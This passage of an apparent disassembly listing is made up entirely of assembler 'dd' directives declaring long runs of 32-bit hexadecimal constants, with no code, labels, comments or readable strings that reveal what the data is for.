9F79E0BBh, 981AB574h, 580E5B5Dh dd 0C4498009h, 20C84A22h, 32C00B56h, 7B004E0Fh, 840D57CAh dd 97312200h, 0BF5BDA8Bh, 0AB8A1240h, 0FB51C136h, 0E4632F50h dd 4FFDECF9h, 0E2CEEB8h, 0A63E2AE3h, 752797CCh, 9B3B66A3h dd 50E9ACC8h, 0C2AB121Fh, 20EF5AFFh, 0C1BD29BEh, 0DDB0549Ah dd 0DC7E7EB5h, 613DF800h, 36EBAFEAh, 952909A6h, 97FA1881h dd 9F1DED20h, 507A3C14h, 480095B9h, 9687386Eh, 17AA9F5Bh dd 0DA500F50h, 929A2B1Ch, 582922FAh, 1F61BE60h, 1329BB80h dd 0E3726507h, 9D010B91h, 4202597Dh, 768E8D0Fh, 0E9DBBFC1h dd 536524FCh, 0EB958C4h, 0D4515F0Bh, 0C1AA6DADh, 0C8F9CFEDh dd 0CB2480D5h, 8D0B7952h, 0A5D45330h, 0FBC16DEDh, 54880C93h dd 0E4271775h, 4F7AAFF3h, 5C3757A0h, 0BF0AC54Ch, 0CF33E927h dd 76E9E227h, 7697F444h, 79896787h, 7DC3B56h, 4B77FDA5h dd 744E005Ch, 35B7018Fh, 801891BBh, 469EF312h, 0FC859FF5h dd 97F6A815h, 7632F2h, 8C0252D9h, 0B0C6A2DAh, 0C01C505Ch dd 6115A1A7h, 24BA0F52h, 0B0B32F7Ah, 0D44E9C1h, 0DA5A0F7Dh dd 9E4042E0h, 3084ABFCh, 640DE82Dh, 99FE9D09h, 0B1F500DCh dd 98E9C431h, 2B05ED68h, 0FDB3976Ch, 12242C80h, 0ADB27DD8h dd 0B9B7602Fh, 0D7126A8Eh, 0A8678DFBh, 4CC2FAD5h, 0BF55D0FEh dd 6200AE37h, 0E39E064Eh, 397902C0h, 0D8D297Fh, 0EE27575Eh dd 6196AD7Eh, 7ECB6F12h, 5EE77609h, 38141028h, 0CC6ECF61h dd 0C87E7513h, 0BA1EB4F8h, 994B5736h, 0BDD70234h, 9FF650C9h dd 5E9D9796h, 7600D687h, 0E38AA6A0h, 9F96A58Ch, 284ECE94h dd 1E4D8A21h, 3E38E901h, 0BE86FF9h, 998E135Ah, 0B5AB5E8h dd 7422718Eh, 0EDDF8014h, 964B39Eh, 5FF55721h, 5ABC86D1h dd 4309279Ch, 0BE6A972Ch, 0D9FA7105h, 0AC26A9B8h, 660D8C17h dd 0ECC0CFBEh, 0B3009D32h, 6EBB509Dh, 3A5BA7D4h, 0F9BF4DD1h dd 23ED6B3Bh, 0E34B001Ch, 0FA67209Fh, 0E45AFF12h, 42D415ACh dd 0A70C992Eh, 7C970CEEh, 8D1F7E3Bh, 52478E6Bh, 0BD3A999Fh dd 70FC77A6h, 0E1AA1C98h, 0BC2B52ABh, 0E2674AC6h, 6B94A640h dd 0DEDC0017h, 0B995610h, 9CFA9301h, 0F08CA016h, 0A85928A7h dd 941CCCACh, 6D055109h, 1DA8186Ch, 3E60E1D3h, 1D9AF874h dd 5B91ABC0h, 2B045098h, 9531FBFAh, 0B1A52BBh, 50D9E3h dd 0D663F497h, 0C251DB00h, 0D6B6EAFEh, 0DAB6CB86h, 0DC9D2150h dd 7F00D6DBh, 4C77E87Ah, 278D8916h, 5AF0E4Dh, 3A53276Bh dd 0B635F5A5h, 8AB2A902h, 6134D4DEh, 3E4D8531h, 0B6D7AFA8h dd 7C65A0E4h, 2C761769h, 5B88E113h, 0C01A88B6h, 14F799AAh dd 9006F814h, 992728Ah, 0CD3BBA9Fh, 93086081h, 0AD4CBF2Bh dd 46D106Eh, 0E5609614h, 5250CF00h, 310F5956h, 8D807AB1h dd 488C1809h, 0B6DE034Ah, 5061585Ah, 76BB6688h, 965B0E15h dd 0FD7EFC7Dh, 244E06C8h, 67CFE322h, 590390A9h, 4C03B9E5h dd 0AAB2A790h, 2C33C0FBh, 0D6B509BEh, 0C57D8B0Fh, 8891355h dd 0A94E214Eh, 0B46DD2Dh, 0DAA09B80h, 0DC86DE0Bh, 441151FFh dd 2D9A5033h, 0BFF2A0C9h, 9A5043A9h, 61549DB5h, 0AF4B5D6h dd 0D618A303h, 9AF8DAA0h, 0DAB75DA4h, 2BCC5080h, 0FE68FAE6h dd 41C82F30h, 84585D10h, 37918F17h, 22D6901Eh, 230415A7h dd 0D206099Dh, 13E48C1Ah, 0E74A10B7h, 0BCFF0F0Ch, 2E404653h dd 6499B9B8h, 0A5DE2B1Eh, 54B76268h, 6404DE6Dh, 0EAD0883Ah dd 9878048Dh, 0B8BC36A0h, 0B0280702h, 0D440023Eh, 0B4F6A67h dd 66516B57h, 0B5503B46h, 72DCAD7Ch, 23A7A73h, 0FD71108Fh dd 63D4F12Bh, 61083A6Ah, 4FC61201h, 2D118349h, 0AF4345F5h dd 0E6C0366Dh, 1CE9C891h, 6DFFF32Dh, 4100CBB7h, 0D014EFFEh dd 2E6E0B86h, 8463F4EEh, 2060C191h, 9D881241h, 0BE610049h dd 42503990h, 0DF00CB79h, 58265CF1h, 75D2101Ah, 0B589135Bh dd 61E64969h, 9EBE8271h, 0CF445BDh, 4F0314E3h, 0A8019E74h dd 5BDE7C12h, 377B35C9h, 9CBD8BE0h, 229B7C02h, 630C57EEh dd 0CD2FFC94h, 0E0466DE6h, 49CFBD9Ch, 0F54E2325h, 1246AEh dd 0B4A89905h, 1B06DE69h, 4F431D26h, 0A2109536h, 0E2022AF0h dd 9B19F89Dh, 4966E9h, 78B14A3Dh, 52189F4Bh, 0A975B71h dd 16DE13B9h, 53784338h, 0BB55D0D6h, 0D42A03B5h, 0B7B5B34Ch dd 0C05F00C0h, 0E78AC2A5h, 0FF63B569h, 0E9E0216Dh, 3F86AE89h dd 0EDA7832Ch, 0C0A40273h, 7116A509h, 495B6BEEh, 58B6750h dd 0FF88ADFh, 0BD0E1D87h, 8012B2CEh, 6704EA34h, 0C73D026Eh dd 0D1FFEF2Ah, 587DD37Dh, 0C612E3A4h, 0B242F957h, 7775BD29h dd 71E009h, 0BF406144h, 0A7E5A0Ch, 0B7026A25h, 83630041h dd 8A90714Dh, 550FC3Ah, 1451BD03h, 9A5E2FCEh, 0DD748098h dd 0E654E783h, 96C13CCh, 0D6D0AE89h, 970E0BE9h, 6200296h dd 0C5B30FCEh, 0C456B501h, 0ACF8AD2Ch, 0FB018C16h, 90F8AACDh dd 0F2A51CB3h, 9B966Ch, 0E4D1D77Ah, 0A8DA9202h, 99A582FFh dd 50BB5C2Ah, 1697820Fh, 0DC2294C1h, 88075800h, 5459E097h dd 0E890970Dh, 0C00B38Fh, 454E134Bh, 0E6742BEAh, 9BFF4E6Ah dd 8921821Eh, 82A67495h, 1911BD0Bh, 4988FE5Ch, 9B30932h dd 0F511FA73h, 0ADBD330Ah, 0BBB09689h, 100116CCh, 76092D85h dd 0F9498D2Ah, 1A70E624h, 110203Dh, 0C78171E4h, 0EEF4F058h dd 0C393105Eh, 3AB19DBEh, 9175582h, 4AC40E70h, 600B1425h dd 243DD102h, 0BA61FC01h, 0E2C11D52h, 0D51BC216h, 600FE8D1h dd 0CEB88051h, 18F95A8Dh, 2AC82B61h, 8B27C90Bh, 0E3B009D1h dd 0E9C31434h, 997B2B75h, 0E0F912E9h, 9D342BE0h, 5E21A5BDh dd 13F18D09h, 2BBCC93Ah, 22BDEB28h, 43430109h, 0B803FF34h dd 3989127Ah, 2F22F0E2h, 0A5F67590h, 3AFE16A1h, 0DDC3020h dd 503738ABh, 689A5380h, 0B86936C4h, 0F57A2A09h, 65040852h dd 30DF6630h, 0FE30973Bh, 428242E5h, 0C76B00C4h, 272F74AEh dd 11557164h, 1C65F19h, 3E1D9D01h, 0C2A7C0B8h, 4B0F21CDh dd 9C27F07Dh, 0C707DC5Dh, 0F2CA0ED7h, 105A1340h, 28F2B0Fh dd 0FCE10C8Ch, 1B404974h, 1824F1F9h, 0C0CAAAE5h, 8A091D67h dd 6F972258h, 58B640C2h, 0F8489CCAh, 520C1226h, 6350ACE2h dd 2B2C417Dh, 0AC9F833Dh, 0E9E29225h, 2EABCF3h, 0F9EC0A6Eh dd 5EE657FEh, 6F1F0F01h, 0D75696BEh, 26B5EC4h, 78AC9441h dd 5653880Dh, 24CB7D8h, 0FE1CBBD6h, 5D6602D5h, 0A954C500h dd 5908E257h, 667C132Ch, 0C886DAC7h, 0D2DBC515h, 8A74D94Ah dd 23092610h, 2F29419Dh, 0FC92CC59h, 0E9F4BCE2h, 0C7A8F6h dd 21C15EAh, 30F3D66h, 0B4BF6802h, 0D5420B90h, 7858A0D3h dd 44EF83Ah, 454D8FF0h, 0D3A217h, 6682A628h, 87C1BDh, 0DDAB43D9h dd 0A9E947A0h, 79325213h, 0DC806BBCh, 0A4BE8D56h, 0AA00B8FEh dd 438E7049h, 57624F6h, 62DACCB1h, 0B5E0C1DEh, 0B8985459h dd 2A5FA218h, 1B673D62h, 4FFF09B8h, 0F95942A6h, 5DF73A75h dd 9101A435h, 358529D1h, 8FFBE64h, 6840FE1h, 0FD953182h dd 711C5E16h, 5BC1143Dh, 13590D8Dh, 524504F2h, 0F6801AA8h dd 0BC3BA195h dd 0C5FECF25h, 0C7F61AD7h, 0A2277674h, 63DE8B7Ch, 2AEAD43Fh dd 0D295C07Bh, 25801834h, 0F4CA27E3h, 0B8080C84h, 15FC4F4h dd 0F095F6FBh, 1601B8E6h, 0D52D1902h, 1CD8F3A6h, 967BD2Bh dd 0AFD95B8Fh, 3A1253B5h, 81816CACh, 0D13E20CBh, 0C41F2E7Eh dd 104F46Eh, 0F99421BDh, 0F086E6EFh, 1A5EE41h, 0FBA3FA0h dd 30F91446h, 5B4B7BDAh, 11C8B7E2h, 27975581h, 0D3C878E2h dd 89C500FDh, 0FE304A12h, 0C7271C48h, 0E89BD750h, 4B2919B8h dd 96912E97h, 0E72270B0h, 95608748h, 0C29E3464h, 3A4425h dd 26C59896h, 0A4A3B117h, 0F669FC01h, 58616BF2h, 1FF1A036h dd 0B9983AADh, 0B7521BDh, 0B847DDC9h, 0E9B850E0h, 0F7014AB6h dd 0D763A09Dh, 957750BAh, 8DA44B36h, 1F430E6h, 9D3AF889h dd 0BF21E098h, 0FFEC808Ch, 831A9745h, 89271570h, 0AAE1F006h dd 3FB55F5Bh, 79801D91h, 6B8B1C2Ch, 0D0CB9C06h, 20624477h dd 0C8B429B5h, 7061F209h, 0DCAEB64Fh, 410C137Bh, 0F53D63BFh dd 1C905CCh, 0B40CEDB5h, 510052FDh, 0BA665F5Eh, 906198A8h dd 18F424Eh, 363B53BBh, 0B228964Ah, 0DA4A9E4Dh, 0C414C866h dd 4FA28BA9h, 0DD30BCCDh, 29B32450h, 0B9D1498Bh, 0E29EB700h dd 48583849h, 5FA28CECh, 23B3A041h, 8411509Eh, 0C4C4EC7Fh dd 8B102B15h, 3223D704h, 216AEE8Dh, 8E061623h, 9E5E9371h dd 548A455h, 4EA2ABBh, 5D0A81A9h, 0E4A88C93h, 905EB6C0h dd 5738D31h, 0C0851597h, 23DF6E39h, 0C9DBD14h, 7EEF0576h dd 2CE661D1h, 4CF2D1E0h, 9E04837Ch, 0AE9DD091h, 6DA6B385h dd 6381DD4Ah, 2DEA0034h, 3E187B25h, 66CA003Ah, 4EE076F5h dd 8404A114h, 0E873B2C6h, 0E5A4D9ACh, 0B6DB2B83h, 635D8B9Ch dd 468D6277h, 0DF5C0E9Ah, 0D4209218h, 0B8D7E19Eh, 7C12D5F0h dd 0E9ED43E9h, 0D33A59ECh, 13EA4802h, 26222A69h, 75B05CDEh dd 4DE81CAh, 0B3A5B141h, 0B85EADDCh, 0AEFB01C5h, 646E9C20h dd 6B93B86h, 0ABA8F600h, 0ED302F40h, 0F7024D76h, 8588A506h dd 689275CDh, 24D7A5C2h, 0DBC5BD3h, 538098A7h, 2F5682BFh dd 7D459D62h, 6AD76F90h, 0DBE31737h, 7BBE81C4h, 7B8B0969h dd 97BDD076h, 15D94C32h, 5FCCA400h, 2567713Ah, 96C4EC75h dd 84113795h, 849A50A1h, 38E4B299h, 1A4187F9h, 5F64ED7Fh dd 0DAD661BDh, 0B58E801Ch, 31E575A6h, 0F8E464CDh, 4E23296h dd 5BFE8A53h, 11E3E6C5h, 2621602h, 0BF42FFCh, 5FFD3169h dd 0E1695264h, 896A9C2Fh, 0C218D12h, 0A6D253F2h, 9286A056h dd 0B4E248A0h, 8D297D02h, 15740BE1h, 0D4C45E5Ah, 442D0125h dd 738177B6h, 0E5EE004Ah, 0FFDAD48h, 3D09B6C3h, 7B8E33DFh dd 9F55AD4Ch, 0C41180DCh, 0ECA69A49h, 0F8F8D525h, 0ED3FF5C9h dd 0E39EE800h, 2B0EE023h, 0FB4002EBh, 6C18E944h, 0E153Ah dd 9B4E315Bh, 0B0ACF4A4h, 459D10CEh, 19E7E1Bh, 519A8F69h dd 9711BF02h, 665E2740h, 292D182Dh, 14812085h, 374C0997h dd 0E43782E1h, 0B64615EBh, 0A9C0B300h, 702AFCBh, 3EBF0ED2h dd 0F6D28F64h, 3019B252h, 8A096316h, 79C5891Eh, 0DEFCAC53h dd 0E503837Ch, 897AA451h, 4418FA85h, 0CB7B960Fh, 0FF7CE729h dd 631D4D5Ah, 2CE0D062h, 0F90A5739h, 11890F5Bh, 27AFF927h dd 0ACD8987Fh, 0D8250038h, 58119882h, 772D3E1Fh, 276FF3D2h dd 1292C344h, 4712BB7Bh, 0FC1724D7h, 16923BC4h, 5B6660h dd 0C5D38AF6h, 0D6BE9B0Fh, 0CA6A317h, 922FDEF3h, 0C28C1080h dd 6125CC2Bh, 87F90896h, 355731C7h, 89217B49h, 1679FB8Bh dd 7B0B3647h, 9FAAD032h, 0E41DA10Eh, 2A50059h, 0BB6696h dd 0BF50F22Eh, 4C906E44h, 121739Ah, 1D8E6F11h, 56EAE732h dd 2C6AF025h, 0AC611627h, 0F9AE12B7h, 52BB025Ch, 9249C506h dd 0B471773Eh, 24998831h, 0CA422B09h, 0D79D0357h, 5B4B06F8h dd 0BB71CE8Ah, 3C29F0F6h, 3E6D6A00h, 9D2356B5h, 9D3AE7A1h dd 0F1FA2634h, 0F1F4D7F0h, 4C0A05CEh, 0E7C6FC8Ah, 0CD8BA003h dd 2AB513BAh, 0B9751360h, 0BD09045Ch, 61091731h, 354B177Bh dd 6BC284D0h, 0C04B0F5h, 0EDE9BA07h, 0B019FFF2h, 2D95890Bh dd 1F7F1B31h, 0E2822CEFh, 90D54A3Dh, 9FA940h, 0DEE24596h dd 0CEBB2C5Eh, 2736C3Ch, 0A7ABDDCCh, 9431575Fh, 0FA31088Bh dd 2A2C41A1h, 0C8FC06D5h, 907CE26h, 4935951h, 906105CCh dd 15B825EDh, 168CC83Dh, 9BEF6AB9h, 1819ECEh, 0A7F5F116h dd 0BD914020h, 0ED270874h, 7EAAE0CCh, 14EB589h, 34F2D684h dd 56912C00h, 0C2AAE3E8h, 1D542900h, 5805BC79h, 0E1112833h dd 0DE461EABh, 0DE85ACE6h, 560D6900h, 0A585097Ch, 0E49508h dd 0B5B1BF05h, 30AE0364h, 1A8E2936h, 9D9F7600h, 0A2015813h dd 21EA001Bh, 0FFB531B0h, 5F5AF4B7h, 0BD028108h, 0B690FD13h dd 0C82E0A3h, 74620388h, 0A82DFF03h, 0AB6E485Bh, 7B552800h dd 0AAB7AEE8h, 65FE4E26h, 0DC22D10Bh, 0C5185A4Bh, 370FEAD9h dd 766427F9h, 4B7C8AAAh, 206F598Dh, 0B24BADE7h, 0A8914607h dd 52700DFCh, 273BF6Ch, 5B33B607h, 8CB7D1FFh, 6E71A380h dd 163159E7h, 0F26C64FCh, 93770764h, 611EE008h, 0CF058D27h dd 6C3F282Fh, 56FC88h, 9A0F0BBh, 26A5F13h, 5EDC15BCh, 702BDC31h dd 0FBF6609h, 82837459h, 433723BBh, 0E595C860h, 50CB154Bh dd 80069A4Ah, 38751BA3h, 0DD76BDF4h, 5E85E909h, 0DE50704Ch dd 2D8D8980h, 3DF30F9Dh, 1F0ACD0h, 9072C27Dh, 7BFA8A6Dh dd 19C89A9Ah, 15EFA5C0h, 0C0985F8Fh, 0D435C7E6h, 0D82F8F9Ah dd 5007C650h, 13DFB051h, 6F905F0Bh, 0DA550241h, 0EAD58501h dd 52A35C84h, 0FA60944Dh, 766D5379h, 25B2908Dh, 9FE519A5h dd 0C0F54D27h, 0FB583DD9h, 299D3309h, 0ECCCFD0Eh, 9EB84BFh dd 6FB76A0Fh, 0EB91018Fh, 2EA405A0h, 0A880D82Ch, 0D001F686h dd 2800ED71h, 46A49D76h, 5C68DD23h, 0F11799E1h, 831F9E1Dh dd 908DBC41h, 1774A859h, 42C9971h, 0AF10ADABh, 5E16C228h dd 3AB6B601h, 7C5580ADh, 2E4DEEF9h, 4EA31C13h, 70E601B0h dd 51DD8531h, 2071E4C6h, 7E9F1181h, 4BEC6648h, 65D9FEEDh dd 783E3C89h, 0F8886BEh, 5FB06FB1h, 57BAB7A0h, 0C10221FDh dd 685D3A03h, 0DBB05761h, 65137CF7h, 3FF5B70Fh, 41CB1680h dd 599D89A9h, 5B8D135Dh, 0B52C02BFh, 0D60B1B91h, 0A484FB6h dd 52338849h, 5B53BF80h, 3F81D18Bh, 0EE850ECFh, 4083E94Fh dd 0AA55E342h, 6DB6858Bh, 0E0F1FC92h, 1DCF092Bh, 5215D479h dd 80DD3C75h, 0D40E9933h, 0CC7E2Ah, 0F5A18719h, 5B6A6CD7h dd 1DEBA497h, 27CDA45Dh, 9816A9DDh, 16250Ch, 569831BDh dd 0F2F7B751h, 97B625Ch, 795B61DFh, 9D2982FDh, 0B157323Dh dd 7A511AEEh, 613A2CA2h, 31DE8B00h, 8A7101AFh, 0E9602FDDh dd 0BDE65262h, 30DCC17Ch, 462A3572h, 0EB7B740Ah, 4CF5E531h dd 493E9D09h, 0FC79F978h, 4BB7E6A0h, 1109D1A7h, 6F8A5Ch dd 25B1C1BFh, 3B9050F7h, 0E8E07D5Bh, 0DF5BF8B7h, 842194D0h dd 0C086FC8Bh, 2FEF6DB5h, 9B8E02DBh, 3C9A3F80h, 0AF16B9BFh dd 8DE84CE7h, 35101380h, 60389246h, 833492FBh, 0AB0900B8h dd 80735F59h, 0E5611F8h, 0D22B5FFCh, 57D9D42h, 0C1F80E74h dd 0D95C8211h, 0EF8A6041h, 0E642A420h, 61792527h, 439BB0EEh dd 0D603358h, 0D5266352h, 2F1CC59Ch, 3CACAB75h, 33AABA80h dd 8012846Bh, 0B7F20DDFh, 0C1CC9AF4h, 6B7C9FCFh, 0F2078CDh dd 292C0446h dd 0BC05D18Dh, 2727E25Dh, 2A81D223h, 342B6039h, 0D9EF00D6h dd 0F88B45CCh, 4FCD614Bh, 0F58B802Eh, 2FFDE1FFh, 97762528h dd 6B2512B9h, 282ECB8Dh, 828A782Bh, 5E46F4E3h, 4315023h dd 0D26D9588h, 1582481Bh, 0F6A66017h, 31DD82E0h, 49F03802h dd 61FCF93Eh, 63A0F17Fh, 0AFD25A8h, 154450EDh, 0F46B2061h dd 6D120DEFh, 51F17BCEh, 8E6E3Eh, 7CD8FF88h, 143C3F12h dd 9CFB8B20h, 0F49F6F12h, 0F9895C74h, 26E3362Bh, 0F798342Eh dd 6BAED7B4h, 0F18232Dh, 0BD853FAAh, 0B744AEE7h, 81FB90FFh dd 7A57561Eh, 7B3AA014h, 0C0B96DB5h, 21DDF07h, 6A13A1BCh dd 68C046DBh, 54DD37AEh, 1400F9Dh, 4F12AEFh, 89C92Bh, 0D3F618E7h dd 9B07B100h, 0F7367CFh, 51FB73D9h, 213A298Eh, 0D8751543h dd 811D579Eh, 39401C71h, 2D8068E6h, 49FE0493h, 0EF5B5F8Ch dd 29101F01h, 855B04EEh, 0F971D4C0h, 0D95F8B09h, 0B51141A6h dd 0AB9D4A4Dh, 7DE6A6Ah, 6358150Eh, 4A4670DBh, 803DF201h dd 9509FABFh, 7E699D51h, 0EE85C702h, 53E0B6B6h, 9D09B260h dd 7AD77548h, 0B8EFBF71h, 0B56EAF40h, 458B0A06h, 99181C5h dd 575E1551h, 0D4F3765Ah, 6B64D913h, 4F0029F2h, 0D2791BA7h dd 0A0012550h, 0D0D6C8BFh, 342FE328h, 3E6BAEBFh, 0E2001D23h dd 8E5A4984h, 2B31E85h, 115F2DE3h, 7DE15636h, 4FB166FCh dd 3154BF8Bh, 0F06098Eh, 25647188h, 1A5954D3h, 0B3027918h dd 5DF92DB6h, 3BE35EA5h, 6660095Eh, 0AE315325h, 0B3CDE4h dd 15641369h, 0CE4A5836h, 0FA750D05h, 1CEBDCE5h, 72006FC8h dd 0FD38A8BBh, 305055Eh, 64EA0B25h, 0A5E0FB33h, 0AD540339h dd 9F23C51h, 2AF8CED9h, 215678C5h, 81ACDBABh, 0F241A19Bh dd 25217E88h, 0E4696801h, 206FD4E6h, 8BA1859Bh, 0C61ABE02h dd 57468678h, 1F965280h, 600B2B38h, 4089BD29h, 24E480EEh dd 12A161DCh, 2BC8F1F8h, 0FFD3CBDEh, 0D7819390h, 890E0068h dd 0AAB0BF5Fh, 379E0791h, 94F98A89h, 0D47FBC0Dh, 0E2439A01h dd 810FF53Ch, 39318149h, 7B822405h, 9DBCE017h, 0F6194A11h dd 146AD719h, 8C0FCE05h, 9238B801h, 1D386AB7h, 4BC33E5Dh dd 19B84FD9h, 27F87AB8h, 6805BA0h, 61AE108Bh, 5E8E4B0Ah dd 0B08B26E9h, 5E16383h, 1D459362h, 8804BEA0h, 5B0421C1h dd 0E092A6FCh, 1762301Eh, 1079134Ch, 0D791BED7h, 5579F589h dd 0FF49D747h, 52E0F9CDh, 0F9C59D8h, 75C87411h, 916DE49h dd 0F257A568h, 0B707A03Eh, 7536909h, 37181A59h, 0AB070101h dd 896E0861h, 0C46E7A21h, 0D765B834h, 1EB88CBDh, 0F4B0D64Fh dd 0B9169705h, 9D472B6h, 0E778DD73h, 0DBA56D7Bh, 620F5081h dd 6FFEC104h, 5FECA27h, 55D1D1Ah, 0BE96FFACh, 60500602h dd 3DF48D53h, 0C1615EC0h, 1DB811Eh, 0AC622A19h, 0E381108Eh dd 354BA309h, 81637938h, 0A7F19DBFh, 88875B32h, 0F853C018h dd 9601C8FFh, 9E8DEB81h, 0BA920D22h, 4F37F7DEh, 4B3FBEh dd 390FD3F4h, 392C5B45h, 0B7128286h, 403AF35Fh, 224E79EFh dd 8101BBE7h, 9ADA26C3h, 0FE012E08h, 2C559D01h, 4F8252Eh dd 1231D5DCh, 5464CDB3h, 0ACE89409h, 2660CBB2h, 776F19F7h dd 610740B5h, 19B6A4Fh, 6561FEC1h, 5E45940h, 1D2ABFFDh dd 31371280h, 3913F192h, 2B0856C7h, 5FF98901h, 2080945Dh dd 20B06160h, 6D576295h, 0AC9AE0FCh, 0B1A00286h, 3A972AC9h dd 257C703Eh, 94C6EDB0h, 49858917h, 27B798C1h, 2C9A282Eh dd 96E8B388h, 0BADA0D8Ah, 0B8586DABh, 0BB5B0264h, 5063EA1Ch dd 91473557h, 7CCA801Ah, 2668DEE4h, 96795E8h, 0B27113A9h dd 40E74D6Bh, 74081777h, 323C1101h, 898C41B3h, 50BDF96Fh dd 0F392CD5Ch, 64A0CDBDh, 0B8F601Ch, 3E6A016Fh, 9E806394h dd 2492860h, 9BB558CEh, 69D85C61h, 560097F1h, 8F6D35F1h dd 54E14CE0h, 127FD904h, 0A2E2B8D0h, 71052968h, 0CC06560Ah dd 2C4BDC16h, 0D87DCA9Dh, 0B01D7A8h, 93237C17h, 0BFC02694h dd 1B7B3B83h, 0C0CF9E4Bh, 1FC5E3B9h, 9D291285h, 7312BBC9h dd 87D4C6B2h, 0E90B407Ah, 0C5E1D54Ah, 0B7B88F7Dh, 954DDF03h dd 909CEFB6h, 5D8B30E2h, 6EBD6AC1h, 0AD9E2EB9h, 0D7D1A057h dd 0AD9AF48h, 295F31DBh, 0EB0E16E1h, 0C22E9ED9h, 7456904Bh dd 0B90A5D40h, 0CD100DBh, 7F4C0E01h, 250E392Fh, 0EA08288Fh dd 0C911B50h, 80C0CC1Fh, 41517807h, 7009D902h, 0FB6ABA7Eh dd 0C65E7821h, 719E6402h, 4356EA03h, 5B0AB829h, 76C6BF6Ah dd 3BD9CF00h, 0C4144334h, 29F10022h, 2D186079h, 192E25DBh dd 0F90A800Eh, 9097F1Fh, 0F464FEEEh, 0A74DF539h, 943E10ECh dd 7C4605A7h, 30E21640h, 6F0A03C2h, 0F0ECB312h, 6F4BF1B8h dd 40770037h, 0A7FDD57Bh, 316025D9h, 5449C974h, 90616240h dd 10D510CAh, 0A04B00h, 422F62A5h, 71DC20EEh, 1CF71100h dd 0BBF48C64h, 4E9A0902h, 5AC15B4Bh, 2C61100Ch, 0D5DC1C64h dd 411A1FA8h, 0B7C63317h, 0DF043F6Dh, 60BB6090h, 1B498DC7h dd 0A061F880h, 4F7860DBh, 7B128C6Ah, 0F20EAFF6h, 2E41AECAh dd 0E0FC012h, 71F71D32h, 0CC1348B8h, 847DB52Dh, 6FEF6AE1h dd 0E56009AFh, 0A10102CAh, 2506DA1Ah, 3D7BBC58h, 31259D04h dd 0F216B328h, 0B1DBD1FFh, 1B8CAE97h, 7FBB04B3h, 0B827A513h dd 0D56AA2C5h, 0B69BA59Bh, 0BD5602CAh, 2B4F02DCh, 84504BDBh dd 2CF96F60h, 250973A0h, 0DD789081h, 0F810A080h, 507C4312h dd 0A781EBBh, 97647E3Fh, 83CC4042h, 4C4BF975h, 1324C38Eh dd 0DF732DC5h, 2F9CF97Ah, 0EE76D290h, 0B05BCC78h, 4F1B47AEh dd 0AA9590ABh, 0BD1233A4h, 0E4ED1929h, 0BD308112h, 0F0BBC046h dd 486B404Eh, 2226F50h, 892EB327h, 8066B72Ah, 2038018Eh dd 1D180806h, 2582DF05h, 0BA1C9723h, 5D4539Ch, 3DC087C2h dd 912BC1F9h, 2040526h, 0BFB910C5h, 5A8C14E8h, 1EB00B0Ch dd 2FA8C55Dh, 572DE835h, 56F6F803h, 6032CFA8h, 6A58ED79h dd 45B509B5h, 0BFCDFF30h, 8A8B64E3h, 0C49B5CDFh, 8178273Eh dd 224427Dh, 95582E1Eh, 801011E6h, 0E7B471E4h, 2E4F8A40h dd 60F200FDh, 0B974501Bh, 0A1125D9Dh, 0D9F0D7F3h, 5BD925C3h dd 106A9C8h, 0C02BB689h, 0BAEEA632h, 64A87EBFh, 582100Dh dd 51271162h, 0D2B20FC5h, 0AE8DC600h, 0BB311E82h, 87FF5D01h dd 0F3D4DDB7h, 5B253B6Ch, 0B1769CC2h, 89EC0365h, 3196F7CEh dd 0DC5B30A0h, 13005865h, 195FC125h, 12C63A0h, 0F3DADFCEh dd 60C82B46h, 4E1BD39h, 45AFF385h, 80D18BFDh, 4FDA28CDh dd 7392E927h, 4F0A2E78h, 795EFA09h, 0A0F9516Bh, 58CF1299h dd 2AC4E191h, 0B71B85E7h, 2B091A29h, 72CA49DFh, 332345B6h dd 0F34A005Ch, 3CD26DB6h, 0CE120BC5h, 0CFEC0A5h, 9F04F508h dd 97BEE9E9h, 0AC91843Dh, 0D18D9BCh, 0AA9CD7C6h, 14D51EC4h dd 4EBEB352h, 5189C4B0h, 0EA206295h, 99CB1246h, 10C3E659h dd 330B636Bh, 4B5FB19Dh, 0E15E71F8h, 0C890DB6Bh, 0BE5DC01Ah dd 9717CEF4h, 0DC3075D6h, 902F20h, 482C4580h, 0D4FC016Ah dd 0F1B9D00Bh, 0F4045E0Fh, 0E14DF31Fh, 3EAD5B03h, 0D68D92F5h dd 0BFA740CCh, 0B0003349h, 9D08BD3h, 0B51F0585h, 0B093A2ECh dd 3E409C58h, 0E6040BF6h, 0A8499D0Dh, 0FB4D8056h, 5B2256h dd 1E08F1F3h, 7C58283Fh, 426E9203h, 2D2917F7h, 9A02488h dd 69D6C381h, 893B2027h, 0F4A15427h, 37B1E300h, 0DA602B86h dd 6A59241Eh dd 1B3109A4h, 91631F77h, 7DFA8515h, 0DF4E7440h, 98C45Ah dd 6AD4CE73h, 0A2C70555h, 12173105h, 0DCBC3278h, 3DDDD680h dd 0C9032CB4h, 0F2EC95E3h, 0B037DB59h, 174A6968h, 15D9225h dd 5F6AEA9Ah, 0DEDF6B5Bh, 6BC316C8h, 6EABFC03h, 61C01231h dd 7B419409h, 99BB8188h, 6B36D675h, 8807EAD8h, 0A6E43429h dd 0DE1CB112h, 233F6BEEh, 0DE280F1Bh, 8E138BC0h, 2BB1B55Ch dd 4E86B081h, 2B2FB2A2h, 0B5890B88h, 0BD7B696Dh, 50CD926Eh dd 0FD852AC9h, 70282F5Bh, 2A5CB572h, 0CA3F09F4h, 722BFCC9h dd 2F45E5Ch, 3EB8ABEh, 87FE5CA4h, 9E9EC625h, 0ADE1128Fh dd 907B826h, 67D780F9h, 0BC46BB79h, 0E223AD4Dh, 0CC5EAC13h dd 4785AD51h, 53ED9D23h, 694504C3h, 0A3D2BCEBh, 942F5060h dd 166778C1h, 81B1BD01h, 0E2C380A2h, 5F2DA35Eh, 0EA01A892h dd 2F637CD7h, 7AFC8B09h, 0DEDC5E63h, 7D17C9CEh, 0B8D2682h dd 61683A57h, 0B62EDB4Eh, 29950843h, 0E590171Ah, 6608AFB7h dd 4E0483BDh, 0C043A804h, 0B371CD8h, 0D18100B7h, 67E84A7Ah dd 83006AB2h, 1E0EF0Ah, 0B8906E9Ah, 8C3EF7C2h, 1C9E1733h dd 760AC07Bh, 5B890968h, 21783991h, 8E7758F2h, 890F98BFh dd 236D25BDh, 0BF0400EEh, 21483D87h, 0D6DFB8h, 2D63761Eh dd 924E974h, 28F61C02h, 22B3E08Ah, 39EC2699h, 851EA4BDh dd 0C80D8FBAh, 0C7C0CF1Dh, 10CD591Bh, 0ABB1AF1Dh, 25DFC6E5h dd 0B0CD9AB7h, 